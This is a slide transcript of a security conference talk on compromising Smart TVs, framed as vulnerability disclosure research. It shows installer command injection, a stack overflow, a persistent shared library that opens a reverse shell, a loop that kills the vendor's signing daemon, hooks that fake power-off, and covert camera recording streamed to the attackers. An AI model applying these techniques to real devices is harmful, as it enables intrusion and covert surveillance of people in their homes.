SlideShare uma empresa Scribd logo
1 de 97
HACKING, SURVEILLING, AND
DECEIVING VICTIMS
ON SMART TV
SeungJin Lee (1st Author)
CIST(Center for Information Security
Technologies), Korea University
beist@grayhash.com
CIST(Center for Information Security
Technologies), Korea University
skim71@korea.ac.kr
Seungjoo Kim (Corresponding Author)
2
About me
 SeungJin Lee (aka beist)
 @beist on twitter
 Named to advisory council for Cyber Command in Korea
 Ms-Phd course at Korea University
 A member of IAS LAB, CIST
 Professor. SeungJoo Kim
 Interested in offensive security research
 Hunting security bugs and exploiting
 Finding bugs which requires reverse engineering is my job
 Working for big companies in Korea
 Wins at hacking contests
 Running hacking contests/conferences in Korea
 Speaking at security conferences
 SYSCAN, AVTOKYO, CANSECWEST, SECUINSIDE,
TROOPERS, HITCON, etc
3
About this talk
 Research motivation
 What is Smart TV?
 Smart TV Attack surfaces
 Rootkits for Smart TV
 Persistence shells
 Working for 24/7
 Even when users press power button to turn off TV
 Surveillance program
 Deceiving users
 Smart TV threat evaluation
 Smart TV against Smart Phone
 Conclusion
4
Note about this talk
 This is an extended version of one that I
gave at CANSECWEST
 This talk is more about security bugs and
rootkits than about firmware for TV
 This talk more covers rootkits than security
bugs and exploitations
 As they’re not different to traditional
techniques
 This talk is talking about general security
issues of all Smart TV vendors
 But not for a specific vendor :D
5
Research motivation
 Smart TV is being world popular
 In 2012, over 80,000,000 Smart TVs Sold
 People say, it’s going to be more popular
 Lack of security research
 We hardly see security research on Smart
TV yet
 Smart TV is like “home-version smartphone”
 Might be very scary if it’s pwned
 We’ll see.
 Wanted to measure privacy problem
6
Smart TV
 Smart TV is now used in many fields
 Home entertainment
 Office purpose
 Educational purpose
 Business purpose
 Smart TV is not just TV
 Changing psychological consumer behavior
and its impact on the commercial sector
 The feasibility of potential applications for
smart TV in the consumer electronics market
 The integration of smart TV platforms with
IC technology solutions
7
Smart TV
 Samsung, LG, Panasonic, Sony and others
dive into Smart TV industry
 Smart TV is a regular PC but shows you TV
programs
 Smart TV = TV + PC
 Also, built-in Camera and voice sensor
 At the moment, only fancy models have
built-in camera and voice sensor
8
Looks of Smart TV (Front)
S M A R T T V
9
Looks of Smart TV (Back)
10
Smart TV
 More devices inside
 Bluetooth, wireless device, ++
 Just like a regular PC
 OS: modern OS like Linux (Or embedded)
 CPU: ARM
 Platform:
 Vendor’s own
 It works like a regular PC
 Boot-up, load kernel
 Execute programs, kill programs, ETC
 Usually shells not provided by vendors
11
Smart TV feature
 Camera and MIC
 Motion sensor
 Voice sensor
 TV can recognize your motion
 You move your arm and hand
 Then select any menu on TV
 ETC
 TV can recognize your voice
 To turn on TV: “Hi TV, turn on”
 To volume down/up: “Volume up/down”
 ETC
12
Big hurdles of Smart TV research
 Lack of documentations and research
 The TV is blackbox
 No source code
 Smart TV software is huge
 More than hundreds mega bytes
 Vendor write most of code
 Hard to find interesting spots
 Research can brick your TV
 Sometimes, even the factory reset doesn’t work
 You have to send it to A/S center – “I did”
 If you do any mistake, the TV will be rebooting
 Because there is a huge user level binary
 Hundreds on-off is so tedious
13
Smart TV attack vectors
 Smart TV has almost same attack vectors as
Smart Phone
 A hacker who uploads malicious apps to your
Smart TV app market
 A hacker outside of your network
 A hacker in your network
 Network daemons
 Man in The Middle
 A hacker who can be around
 Who can touch your TV (Physical attacks: USB/etc)
 Who can see your TV (Remote controller)
 Who can be around your home (Broadcast signals)
14
Research start on Smart TV
 How to start research on mobile phones?
 You should do rooting your phone first
 Both iOS and Android
 Nothing really much without it
 How to start research on Smart TV?
 You should get a shell first as well!
15
Research start on Smart TV
 We started with
 Firmware information from Samygo
 Firmware is encrypted by vendor but
Samygo have password information for
many firmware
 Unfortunately, they didn’t have any
information for our TV model
 So, we got an old version and different model
firmware, but much better than nothing
 Extract executable binaries and IDA time!
 And, UART
16
Research start on Smart TV
 Executable binaries
 Yay! IDA time!
 IDA analyzes the ARM code very well
 UART
 Our target has a lot of DEBUG messages
which you can see them through UART
 Booting logs
 Exception messages
 Segmentations messages with register values
 ‘Strings’ are very gold when you feel lost
yourself in a huge binary on IDA
17
Enable UART
 Our TV UART is disabled by default
 You should get into ‘Service Mode’ to
make UART enabled
 How to get into ‘Service Mode’
 TV has 2 Service Modes
 1: Power off + Mute + 1 + 8 + 2 + Power On
 This is not for us as it doesn’t have “Advanced
Mode”
 2: Info + Factory key combination
 Our remote controller doesn’t have “Factory
key”, so, we should do radio frequency stuff
18
Enable UART
 We use Arduino to send “Info” and “Factory”
Keys to TV
 http://wiki.samygo.tv/index.php5/Etherne
t_to_IR_and_Serial_Console_Interface
 We just added this
Void loop() {
…
Data = 0x1f;
Company_name::SendCommand(Type, Device, Data, Crc);
delay(1000);
Data = 0x3b;
Company_name::SendCommand(Type, Device, Data, Crc);
}
19
Enable UART
[Arduino with Bus Pirate and Advanced mode]
20
UART enable commands
Set serial port speed: (bps)
1. 300
2. 1200
3. 2400
4. 4800
5. 9600
6. 19200
7. 38400
8. 57600
9. 115200
10. BRG raw value
(1)>9
Data bits and parity:
1. 8, NONE *default
2. 8, EVEN
3. 8, ODD
4. 9, NONE
(1)>1
Stop bits:
1. 1 *default
2. 2
(1)>
Receive polarity:
1. Idle 1 *default
2. Idle 0
(1)>2
Select output type:
1. Open drain (H=Hi-Z, L=GND)
2. Normal (H=3.3V, L=GND)
(1)>2
Ready
UART>(1)
UART bridge Reset to exit
Are you sure? y
21
So, we’re ready to find bugs
 Again, having binaries and UART is very
important as the target is blackbox
 We’ll tell you later how to see debug
messages without UART after having
a shell on the box
 From now, our approach is
 1: Reversing binaries
 2: Finding some spots to test
 3: Checking messages from UART
 4: Repeating 1 - 3
22
Smart TV App Store
 Almost same as mobile app market
 Developers can make apps for TV
 SNS clients, NEWS apps, Game, SKYPE, ETC
 Some vendors don’t allow developers to
use native languages like C/C++
 But ok - HTML/Javascript/Flash
 It could be because of portability
 Also because of security policy
 Vendors try to prevent bad guys from
making/uploading malicious apps to
application market
23
Smart TV App Store
[Attack scenario]
24
Smart TV App Store
 What is to write in Javascript/Flash for app?
 It means
 Can’t call system calls directly
 Can’t access many resources like files
 Your code run in VM (Javascript/Flash)
 Nothing really much you can do
 Attack point
 Using web browser bugs (including Flash)
 Traditional attacks can be done (webkit/flash)
 Using bugs in SDK provided by vendors
 And the app installer
 Will talk about this
25
Smart TV App Store
 Fortunately (To both developers and
attackers), vendors provide SDK for
development
 SDK has many features
 FILE I/O
 Download and upload via network
 Screen control API
 Basic function of TV control API
 App control API
 ETC
26
Smart TV App Store
 Security policy of App
 Some important APIs do sanity-checks
 EX) You can’t do “../” when file open()
 APIs work like they’re in sandbox
- openCommonFile() calls jx_GetFullPath()
jx_GetFullPath(filepath, stricted_directory)
{
...
if not filepath starts with stricted_directory:
exit
...
}
27
Smart TV App Store
 Problem of SDK security policy
 API level sandbox is not best sandbox
 Hard to ensure hundreds of APIs do their
sandbox job properly
 Hard to implement all security checks in all
APIs
 Checks in File I/O API might be very robust
 But what about checks in Audio Control API?
 All app is running as ‘root’ privilege
 Which means if there is any single API bug,
you’d get a root privilege shell
28
Smart TV App Store
 APP bug case #1
 The app installer parses a XML file
 XML file contains
 App name
 Title
 Compression
 Description
 Download
 Etc
 “Download” field is a URL and a zip of
your app
29
Smart TV App Store
STMFD SP!, {R4-R8,R11,LR}
LDR R4, =(_GLOBAL_OFFSET_TABLE_ - 0xCA1840)
LDR R3, =(aEncodeuri - 0x4E78BC8)
MOV R5, R2
ADD R4, PC, R4 ; _GLOBAL_OFFSET_TABLE_
LDR R2, =(aNnaviutilS - 0x4E78BC8)
ADD R11, SP, #0x18
ADD R3, R4, R3
SUB SP, SP, #0x13C
MOV R6, R1
MOV R0, #1
ADD R2, R4, R2
ADD R3, R3, #0xC
MOV R1, #4
BL _ZN7CCDebug5PrintI15CCDebugInfoLinkEEvmmPKcz
LDR R3, =(g_pTaskManager_ptr - 0x4E78BC8)
MOV R1, #0x48
LDR R3, [R4,R3]
LDR R0, [R3]
BL _ZN12CTaskManager14GetApplicationE15DTV_APPLICATION
CMP R6, #0
CMPNE R5, #0
MOVEQ R5, 0xFFFFFFFF
MOV R7, R0
30
Smart TV App Store
BEQ loc_CA18D0
SUB R8, R11, #-var_148
LDR R1, =(aNiceN19SInfoli - 0x4E78BC8)
LDR R2, =(aMtd_cmmlib - 0x4E78BC8)
MOV R3, R6
ADD R1, R4, R1
MOV R0, R8
ADD R2, R4, R2
STR R5, [SP,#0x154+var_154]
BL _ZN8PCString5PrintEPcPKcz
MOV R1, R8
MOV R0, R7
BL _ZN13CNNaviAppBase9execShellEPKc
LDR R1, =(aSync - 0x4E78BC8)
ADD R1, R4, R1 ; "sync"
MOV R5, R0
MOV R0, R7
BL _ZN13CNNaviAppBase9execShellEPKc
MOV R0, R5
SUB SP, R11, #0x18
LDMFD SP!, {R4-R8,R11,PC}
31
Smart TV App Store
 _ZN13CNNaviAppBase9execShellEPKc()
 It does system()
 vfork()
 waitpid()
 execl()
 Our “Download” value is passed to this with a
prefix command
 EX) “/bin/unzip OUR_DOWNLOAD_VALUE”
 There is a sanity-check for ‘|’, ‘;’ and etc,
before our value is passed, but misses some
linux special characters like ‘`’ (tilt)
32
Smart TV App Store
 So, it’s an easy bug
 $ some_command myapp.`whoami`zip
 But there is a hurdle
 we can’t use ‘/’ character
 Solution:
 Use ${OLDPWD}
 The environment variable has ‘/’ in this
case as the installer is a background
process
33
Smart TV App Store
 APP bug case #2
 Another bug in the installer
 The installer uses “widget_id” value for
 Making a directory for our app
 But wrong string handling
LDMIA R9, {R0-R3}
SUB R5, R5, #4
SUB R12, R11, #-var_650
STR R12, [R11,#s]
STMIA R5, {R0-R3}
SUB R0, R11, #-var_510
MOV R2, #0xF0 ; n
MOV R1, R6 ; c
SUB R0, R0, #4 ; s
BL memset
MOV R0, R5
LDR R1, [R7,#0x34]
BL _ZN8PCString7ConcateEPcPKc
34
Smart TV App Store
 _ZN8PCString7ConcateEPcPKc()
 This wrapper function does
 strcat() inside
 Simple stack buffer overflow
------------------------------------------------------------
PC, LR MEMINFO
------------------------------------------------------------
PC:61616160, LR:12834
------------------------------------------------------------
No VMA for ADDR PC
------------------------------------------------------------
03e0: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0400: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0420: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
35
Smart TV App Store
 APP bug case #3 and more
 As we say, there are hundreds of API that
developers can use
 There are many functions that handle
string/data wrongly
 Very kind memory corruption bugs
 And even system() bugs
 FILESYSTEM.Unzip()
 FILESYSTEM.Move()
 FILESYSTEM.Copy()
 FILESYSTEM.Delete()
 Delete() actually doesn’t work as it checks first if the
given path exists before system(delete_file)
36
Smart TV App Store
 FILESYSTEM.Unzip() bug
LDR R1, =(aUnzip - 0x1FAB08)
MOV R0, R4
ADD R1, R5, R1 ; "Unzip"
BL _ZNKSs7compareEPKc
CMP R0, #0
BEQ loc_9D4E0
LDR R0, [R11,#arg_0]
LDR R1, [R6]
LDR R2, [R0]
LDR R0, [R7,#0x28]
BL j__ZN3sef18CEmpTaskFileSystem5UnzipEPcS1_
37
Smart TV App Store
 FILESYSTEM.Unzip() bug
 Game over
SUB R1, R11, #-var_430
LDR R0, [R11,#var_440]
SUB R1, R1, #0xC
BL j__ZN3sef18CEmpTaskFileSystem10SystemCallEPKc
MOV R0, R6
BL _ZN3sef12SefExecShellEPKc
38
Smart TV App Store
 There are more security bugs in API but
won’t list them up all
 Over again, this is not only API’s problem.
 This is because all app is running as ‘root’
privilege
 Also, TV strongly relies on secure (but
maybe insecure) coding but not security
protection like sandbox
39
A hacker outside of your network
40
A hacker outside of your network
 SNS client is a gold vector for Smart TV
hackers
 Smart TV is more fancy than you think
 Vendors are really building a new
software platform
 You have Smart TV edition facebook
called “Our story” (Faked name)
 They have a facebook app inside, anyway
 You make friends and send photos,
messages and etc
 Of course this is a good attack point
41
A hacker outside of your network
 Traditional vectors are also possible
 Web browser
 It’s hard to patch security flaws for
embedded systems
 The browser uses webkit and flash
 They’re old versions and it’s not just an old
webkit or flash problem.
 There are a bunch of old libraries
42
A hacker outside of your network
 Traditional vectors are also possible
 Web surfing within the Smart TV web
browser is like web surfing within
a web browser from many years ago
 Huge risk
43
A hacker in your network
 Network daemons
 There are around 10 tcp/udp daemons
 They are not ftp/sendmail/ssh
 But for providing rich experiences to user
tcp 0 0.0.0.0:58336 0.0.0.0:* LISTEN 847/MainServer
Tcp 0 0.0.0.0:64384 0.0.0.0:* LISTEN 847/MainServer
tcp 0 0.0.0.0:57794 0.0.0.0:* LISTEN 847/MainServer
tcp 0 0.0.0.0:9090 0.0.0.0:* LISTEN 67/exeDSP
tcp 0 0.0.0.0:50887 0.0.0.0:* LISTEN 847/MainServer
tcp 0 0.0.0.0:51916 0.0.0.0:* LISTEN 847/MainServer
tcp 0 0.0.0.0:80 0.0.0.0:* LISTEN 67/exeDSP
tcp 0 0.0.0.0:6000 0.0.0.0:* LISTEN 471/X
tcp 0.0.0.0.0:55000 0.0.0.0:* LISTEN 67/exeDSP
tcp 0 0.0.0.0:55001 0.0.0.0:* LISTEN 67/exeDSP
tcp 0 0.0.0.0:62778 0.0.0.0:* LISTEN 847/MainServer
tcp 0 0.0.0.0:4443 0.0.0.0:* LISTEN 67/exeDSP
tcp 0 0.0.0.0:443 0.0.0.0:* LISTEN 67/exeDSP
tcp 10.0.1.23:7676 0.0.0.0:* LISTEN 67/exeDSP
44
A hacker in your network
 The 55000 looks interesting
 It has interesting functions
 CTVControlManager::PacketParsing()
parses our packet
 Around 20 commands in switch()
 0, 1, 2, 4, 6, 7, 8, 9, 11, 12, 17, 18, 19, 20, 20,
100(auth and provide rich features to client),
110(bluetooth pairing), 120(Get public key),
121(rsa decrypt), 130(send key after aes
decrypt), 200
 Only a few commands need authentication
45
A hacker in your network
 There are some spots of memory corruption
in commands that do some crypto
 They don’t properly check user value
 It’s exploitable but references
uncontrollable data by us
 We seldom see PC points to unmapped
address, but have not done with a way
make it reliable yet (lame)
Pid: 3465, comm: RemoteClient CPU: 0
Tainted: P (2.6.35.13 #1)
pc : [<01bb36d4>] lr : [<036ca950>] psr: a0000010sp : 8f339bc0
ip : 8f33ccd4 fp : 8f339bfc r10: 8f33ac60 r9 : 8f33cce4 r8 : 00000000
r7 : 8f33ac60 r6 : 8f340450 r5 : 066e91e8 r4 : 0788eb98 r3 : 00000000
r2 : 06d97380 r1 : 00000000 r0 : 00000000
46
A hacker in your network
 Port 7676 is UPNP service looks interesting
 It has around 6 services
 2 services need you authenticated
 4 services don’t’ need you authentication
 But didn’t find any bug yet
 Man in The Middle
 We said, all apps are running as ‘root’
 If there is anything wrong handling during
MiTM, it’s pwned
 For example, while update apps
 We found some at updating code
 And there are packets not encrypted even
for credentials
47
A hacker who can be around
 Who can touch your TV
 Physical attacks
 USB, other ports, etc
 The TV is Linux version 2.6.35
 Who can see your TV
 Remote controller
 Tried to find memory corruption bugs in the
code that parses your remote signals
 #fail
 Who can be around your home
 Broadcast signals
 But unfortunately, we’ve not done anything
with this yet
48
What do you do in pwned TV?
 Basically, you can do everything
 As it’s just a regular PC
 Bad guys would do
 Hijacking TV programs
 Key-logging
 Capturing TV screenshot
 Sniffing network traffic
 Stealing financial information
49
Persistent shells from TV
 We need shells from rebooted TV
 There are 3 general ways for that
 1: Re-writing firmware
 Like Smart TV updates itself
 But this could make TV a brick
 2: Remounting to make partitions writable
and writing something bad into files
 Example) /etc/init.rc
 But “mount -o rw” sometimes doesn’t work in
embedded platforms for some reason
 3: Finding some .so files loaded by programs
in a writable partition
 We take this way
50
Persistent shells from TV
 Finding some so files loaded by programs in
a writable partition
 This can be achieved easily
 Hooking sys_open() and checking if there
is any “No such file or directory” error
return number within .so file extension
 We found some files
 The files are loaded by web browser launcher
 And the launcher is executed when booting
void _init() {
system(do_some_bad);
reverse_shell(my_ip);
}
51
Persistent shells from TV
 But there is a User Executable Preventer
service daemon by the vendor
 It checks files and removes if they’re not
signed by the vendor
[User Executable Preventer daemon pseoudo]
void sign_check() {
while(1) {
file = find_next_file();
if(!is_Executable(file)) continue;
ret = CheckRSA(file);
if(ret == NOT_SIGNED) {
remove(file);
}
sleep(some);
}
}
52
Persistent shells from TV
 Problem of the PREVENTER
 As it has to scan all directories and files,
it will not delete your file immediately
 Which means, you usually have time to
do something before the PREVENTER
 It would be better if they implemented it
at system call level hooking like in
sys_execve or sys_open
 But still a lot of ways to bypass it, anyway
53
Persistent shells from TV
 Solution for attackers: Just kill the daemon
 Now not signed programs can be also alive
 Note: The PREVENTER is not a good idea. It
doesn’t actually prevent, but, just gives bad
performance to TV
[OUR ‘PREVENTER’ KILLER]
main() {
while(1) {
system(“killall -9 PREVENTER”);
sleep(5);
}
}
54
What does beist do in pwned TV?
 We asked around 100 friends what case is
the worst if their Smart TV got hacked
 1: Stealing financial information
 2: Hijacking TV programs
 3: Breaking your TV
 4: Watching and listening via your TV
 Vote, please?
55
What does beist do in pwned TV?
 SURVEY RESULT
 We asked friends around 100 what’s the worst
case people think if their Smart TV got hacked
 1: Stealing financial information
 10%
 2: Hijacking TV programs
 0%
 3: Breaking your TV
 5%
 4: Watching and listening via your TV
 85%
56
What does 85% mean?
 85% is still very high
 But I think the 15% didn’t exactly
understand what I can do in pwned TV
 Most of them are not computer experts
57
Privacy!
 We know that Smart TV have built-in
camera and mic
 Sounds so fun
 But before we cover “Surveillance
implementation part” of pwned Smart TV,
I need to mention
 Surveillance program
 Smart phone against Smart TV
 As a view of bad guys
58
Surveillance on Smartphone
 Smartphone
 Smartphone has camera and MIC
 But have you ever captured photos using
the camera 24/7?
 “I did the test”
 I ran a simple surveillance program in an
android Smartphone
 It took a photo every 1 minuet
 I went out with it and used like my real phone
 I got 2 problems while the test
59
Surveillance on Smartphone
 Smartphone
 Problem 1
 After having hundreds of photos,
I checked those pictures
 Only around 1% photos were “just ok”
 More than 99% photos were useless
 You can easily guess why
 You usually put your phone in your pocket or
on the desk
 Or moving so fast, then it’s so blur
60
Surveillance on Smartphone
 Smartphone
 Problem 2
 I don’t take photos much using my phone
 But after this test, I realized taking
pictures drains power
 If you run your surveillance program in a
target’s phone, he’ll recognize it quickly
as his phone will be dying before lunch
61
Surveillance on Smart TV
 Smart TV
 There is no power problem
 TV is almost always connected to the power
 Even no problem with 24 hour recording
 TV can’t move
 But on the other hand, it’s a good
photographer
 Surveillance on TV is not only about you
 However, it’s also about your family or people
who you very love
 Do not make TV see your bed
62
Surveillance on Smart TV
 Smart TV
 TV can’t go to your office
 It may not steal your business
information or secret conversation
 Unless if you put Smart TV at office
 But we hear Smart TV is getting used more
and more in corporate environments
 But things that bad guys can get from
pwned Smart TV would be very personal
privacies
 And it’s so terrible, obviously
63
We need debugging
 Debugging is necessary as most of code are
written in C++
 There are many binaries but a binary is very
huge over 100mb and it is the core program
 Even ported GDB was not convenient
 Many hangs which we didn’t figure yet
 Wanted to have a more comfortable tool to use
 @collinrm Collin Mulliner’s android DBI
 http://www.mulliner.org/android/
 http://www.mulliner.org/android/feed/colli
n_android_dbi_v02.zip
64
Collin’s DBI for Android
 How Collin’s DBI for Android works
 It ptrace() a target process and changes PC,
then executes a shellcode that does dlopen()
 The dlopen() shellcode is in stack
 Call mprotect() to make it executable
 The shellcode patches our target function
 hijack.c: inject libt.so into the target process
using ptrace()
 libt.c: inline hooking in the target function
 It works great after modifying a bit for TV
65
Sample hooking code
// TCTv::Power(int, TCTv::EBootReason, bool)
#define ADDR 0x00E5CBC4
void _init() {
printf("libt.so loaded...n");
fflush(stdout);
// TCTv::Power(int, TCTv::EBootReason, bool)
addr = (void *)(((int)ADDR) & ~(4096-1));
mprotect((char *)addr, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC);
hook(&hook_info, ADDR, hooked_func);
}
void (*orig_my_func) (int a, int b, int c);
void hooked_func(int a, int b, int c) {
printf("hooked!n");
fflush(stdout);
orig_my_func = (void*) hook_info.orig;
hook_precall(&hook_info);
orig_my_func(a, b, c);
hook_postcall(&hook_info);
}
66
Debugging to trace C++ stacks
 C++ is hard to know who is calling and who
is called, we mainly used DBI to trace it
easily. Argument value is bonus.
asm ("mov %0, %%r0n" :"=r"(r0));
asm ("mov %0, %%r1n" :"=r"(r1));
asm ("mov %0, %%r2n" :"=r"(r2));
asm ("mov %0, %%r3n" :"=r"(r3));
asm ("mov %0, %%lrn" :"=r"(lr));
asm ("mov %0, %%pcn" :"=r"(pc));
printf("=== Dump Registers ===n");
printf("r0 = %pn", r0);
printf("r1 = %pn", r1);
printf("r2 = %pn", r2);
printf("r3 = %pn", r3);
printf("lr = %pn", lr);
printf("pc = %pn", pc);
p = (int *)r0;
printf("this pointer : %pn", p);
vftable = (int *)*p;
printf("vftable : %xn", vftable);
67
Guide by the dev: Debug messages in binaries
 The developers leave a lot of debug
messages that can be very useful for us
 --- SCAN CODE=[%d] vs Converted CODE=[%d]
 TYPE=[%ld], CODE=[%d]
 ***** kbd=[0x%lx] VS m_keyboard=[0x%lx]
*****
 Unfortunately, global variables made for
release version don’t help us
...
if (global_690E4C8 <= some_value ) {
if ( some_value <= global_690E4D0 ) {
printf("SOME_VERY_USEFUL_DEBUG_MSG");
}
}
...
68
To get hints from developers
 But, we can change the global values by
runtime patch and see those useful
messages
 Then, it’s going to be more easier
ptrace(PTRACE_ATTACH, pid, 0, 0);
ptrace(PTRACE_POKEDATA, pid, 0x690E4C8, 0x00000000); // DEBUG_LOW_ADDRESS
ptrace(PTRACE_POKEDATA, pid, 0x690E4D0, 0x00003030); // DEBUG_HIGH_ADDRESS
ptrace(PTRACE_DETACH, pid, 0, 0);
69
Does your rootkit work 24/7?
 My father always tells me
 Father: “Turn off TV before you go out.”
 Me: “But, my rootkit is running inside!”
 As Smart TV is like a regular PC, when users
turn off TV, every program is down
 It’s time to show a clever trick
 If we can
 #1984 and 24-hour surveillance
70
Korean hackers work for 24/7
 Our surveillance program should work for
24/7 even when users turn-off TV
 For the record:
 We didn’t really want to make this, but, the
company said to media (ZDNET Korea)
 “By bad guys, taking pictures might be
possible in TV, but, when users turn off TV,
it’s impossible.”
 But Smart TV is just like a regular PC, we
should be able to do everything if we
already pwned it.
71
How? Reversing and hacking
 First, we should find functions that do turn-
on and turn-off
 TCTv::Power()
 When TV is on and user press “power
button”, TV does
 Off screen
 Off sound
 Off some processes
 Not kernel
 And reach to TCTv::Power() to actually
turn off
72
Trick for 24/7
 So, we put a tiny hook code in prologue of
TCTv::Power()
 Just “return”
 Then, it seems TV is off except this LED
73
Trick for 24/7
 To turn off the LED, we call
 TDsSystem::SetLightEffect() with 0
 Now, the TV looks turn-off!
 But actually not
 Our rookit is still working
 We have to put another hook code at
TCTv::Power() again
 if(second_condition)
TDsSystem::SetLightEffect() with 3
74
Trick for 24/7
 Later, user push “power button” again to turn
on the TV
 It will reach to TCTv::Power() and
TDsSystem::SetLightEffect(3) will be called
 To make the LED on
 Then, we call TDsSystem::SetPower(0)
 For “fast-reboot”, this takes only 1 sec
 And TV screen, sound, processes go up
 Since the fast-reboot, it’s rebooted and our
shell is disconnected
 But we have persistence shells!
 After a few minuets later, we’ll get a shell
75
Trick for 24/7
 By this way, users never realize if there is
something inside!
 Rootkit!
 So, we’ve done so far
 Getting shells from the box
 Cute tricks for debug messages
 Patch and linux kernel module
 Some debugging
 Persistence shells
 24/7 working
 And.. Where is the surveillance?!
76
The self surveillance program
 We’ve implemented two surveillance tools
 1: Taking pictures and sending them to
our server automatically
 2: Video recording and live-watch it
remotely (Streaming!)
 We’ll cover both how we implemented
the 2 tools
 But will only give a demo for the second
one as it’s much more funnier than first one
and due to time lack
77
A photo taker
 We have to understand how the TV works
 How?
 A lot of reversing
 We could use the camera device driver
directly, but, tried to know what user level
functions are actually used for it
78
Ideas to implement a photographer
 1. Learn API related camera provided by
the vendor and use it our app
 Problem: possibility it only works in a
normal app and can not be background
 2. Reversing the default camera program in
the TV
 Problem: it takes more time than just
learning those APIs
 But we take this because this might be
an ultimate solution
79
Ideas to implement a photographer
 How the default camera program works
 1. Open /tmp/stream_socket
 2. Send commands to the socket
 [Commands]
 Send “Camera”
 Send “StopSecCamStreaming”
 Send “SetMicVolume”
 And so on..
 Send “SetCameraDisplaySize”
 Send “SetCameraProperty”
 Send “CaptureCamVideo”
 Send “StopCamVideo”
 And reply them for loop
80
Protocol for the commands
 It has a fairly simple protocol format
 [Length_of_command] – [Command] –
[Length_of_ARG1] – [ARG1_value] –
[Length_of_ARG2] – [ARG2_value] –
[Length_of_ARG3] – [ARG3_value] –
[Length_of_ARG4] – [ARG4_value] and so on
 A dump for SetCamVideoDisplaySize command
 0x18 0x00 0x00 0x00 0x53(S) 0x65(e) 0x74(t)
0x43(C) 0x61(a) 0x6d(m) 0x56(V) 0x69(i) 0x64(d)
0x65(e) 0x6f(o) 0x44(D) 0x69(i) 0x73(s) 0x70(p)
0x6c(l) 0x61(a) 0x79(y) 0x53(S) 0x69(i) 0x7a(z)
0x65(e) 0x00 0x00 0x04 0x00 0x00 0x00 0x30(0)
0x00 0x00 0x00 0x04 0x00 0x00 0x00 0x30(0) 0x00
0x00 0x00 0x08 0x00 0x00 0x00 0x31(1) 0x39(9)
0x32(2) 0x30(0) 0x00 0x00 0x00 0x00 0x08 0x00
0x00 0x00 0x31(1) 0x30(0) 0x38(8) 0x30(0) 0x00
0x00 0x00 0x00
81
A video taker
 Now, you can take pictures by the
communication with the socket
 And within the commands
 It’s time to implement a video taker
 There was a problem that the camera app
didn’t make a dump file for the stream
 So, we had to find a way to dump it
 By reversing, we’ve analyzed we can be
reached there via..
82
#TODO – Video recording
...
CMoIPStreamManager::StartMediator() ->
CMoIPStreamManager::SetMicVolume() ->
CMoIPCameraManager::SetProperty() ->
CMoIPEmpMediator::ProcessCmd() =>
CMoIPCameraManager::GetCapability() =>
CMoIPStreamManager::SetCamVideoSize(0,0,1920,1080) ->
CMoIPStreamManager::SetCameraProp(3,1280,720) ->
CMoIPStreamManager::SetCamSrcSize(1280,720) ->
CMoIPVideoFeeder::SetScrVideoSize(1280,720) ->
CMoIPStreamManager::StartCamVideo(1,2) ->
CMoIPStreamManager::InitializeCamVideo() ->
CMoIPVideoFeeder::SetSourceType() ->
CMoIPVideoFeeder::StartRenderer() ->
CMoIPVideoFeeder::Initialize() ->
CMoIPVideoFeeder::InitVideo() ->
CMoIPVideoFeeder::t_InitVideoDecoder() ->
CMoIPStreamThread::Create() ->
CMoIPStreamManager::StartCamRecord() ->
CMoIPReceiveCamVideo::SubmitVideoData() ->
CMoIPBuffer::Read() ->
CMoIPVideoFeeder::SubmitVideoData()
...
83
ReadBuffer sounds always good
 CMoIPBuffer::Read() sounds very good
 Dumping buffer and saving it into a file
 But a better way at StartRenderer()
LDR R12, =(_GLOBAL_OFFSET_TABLE_ - 0x263FFD8)
MOV R1, #3
LDR R2, =(aCmoipvideof_18 - 0x66E91E8)
ADD R12, PC, R12 ; _GLOBAL_OFFSET_TABLE_
STMFD SP!, {R3,R4,R11,LR}
ADD R2, R12, R2
MOV R4, R0
LDR R3, [R0,#0x58]
ADD R11, SP, #0xC
MOV R0, #5
BL _ZN7CCDebug5PrintI11CCDebugMoIPEEvmmPKcz
MOV R0, R4
BL _ZN16CMoIPVideoFeeder10InitializeEv
MOV R3, #1
MOV R0, R4
STRB R3, [R4,#0x66]
BL _ZN16CMoIPVideoFeeder11t_StartDumpEv
LDMFD SP!, {R3,R4,R11,PC}
84
_ZN16CMoIPVideoFeeder11t_StartDumpEv
STMFD SP!, {R4-R6,R11,LR}
ADD R11, SP, #0x10
SUB SP, SP, #0x104
LDR R4, =(_GLOBAL_OFFSET_TABLE_ - 0x263F12C)
MOV R5, R0
ADD R4, PC, R4 ; _GLOBAL_OFFSET_TABLE_
LDRB R3, [R0,#0x1C]
CMP R3, #0
BEQ BAD_LOCATION
LDR R3, [R0,#0xC]
CMP R3, #0
BEQ GOOD_LOCAION
LDR R2, =(aCmoipvideof_11 - 0x66E91E8)
MOV R0, #5
LDR R3, [R5,#0x58]
MOV R1, #3
ADD R2, R4, R2
BL _ZN7CCDebug5PrintI11CCDebugMoIPEEvmmPKcz
SUB SP, R11, #0x10  BAD_LOCATION
LDMFD SP!, {R4-R6,R11,PC}
SUB R6, R11, #-s #
85
_ZN16CMoIPVideoFeeder11t_StartDumpEv
SUB R6, R11, #-s  GOOD_LOCAION
LDR R1, =(aMtd_rwcommonFe - 0x66E91E8)
LDR R2, [R0,#0x58]
ADD R1, R4, R1
MOV R0, R6
BL sprintf
LDR R1, =(aAmrWb+4 - 0x66E91E8)
MOV R0, R6
ADD R1, R4, R1
BL fopen
LDR R2, =(aCmoipvideof_12 - 0x66E91E8)
LDR R3, [R5,#0x58]
MOV R1, #3
ADD R2, R4, R2
STR R0, [R5,#0xC]
MOV R0, #5
BL _ZN7CCDebug5PrintI11CCDebugMoIPEEvmmPKcz
B loc_263F158
86
Thank you for the code, dev!
 So, if we set arg1 + 0x1c to not 0, the
program saves the buffer into a file
 Alright, we do this by patching again
int hooked_func(unsigned int a) {
unsigned int *p, value;
int (*my_func)(unsigned int b);
printf("hooked CMoIPVideoFeeder::StartRenderern");
value = *(int *)(a+28);
p = a+28;
*p = 1;
my_func = (void*) hook_info.orig;
hook_precall(&hook_info);
value = my_func(a);
hook_postcall(&hook_info);
return value;
}
87
We have a video file, then?
 We now have a video file
 We could just send it to us and open it
 But we made a streaming for show
 Now.. Go for DEMO!
88
Deceiving victims
 Do you remember that AP twitter account
got hacked?
 The stock points went down
http://www.cbsnews.com/
89
Hoax on Smart TV
 It’s also possible to make hoax on Smart TV
 There are many APIs that show movies,
images and text on TV
90
Popup API
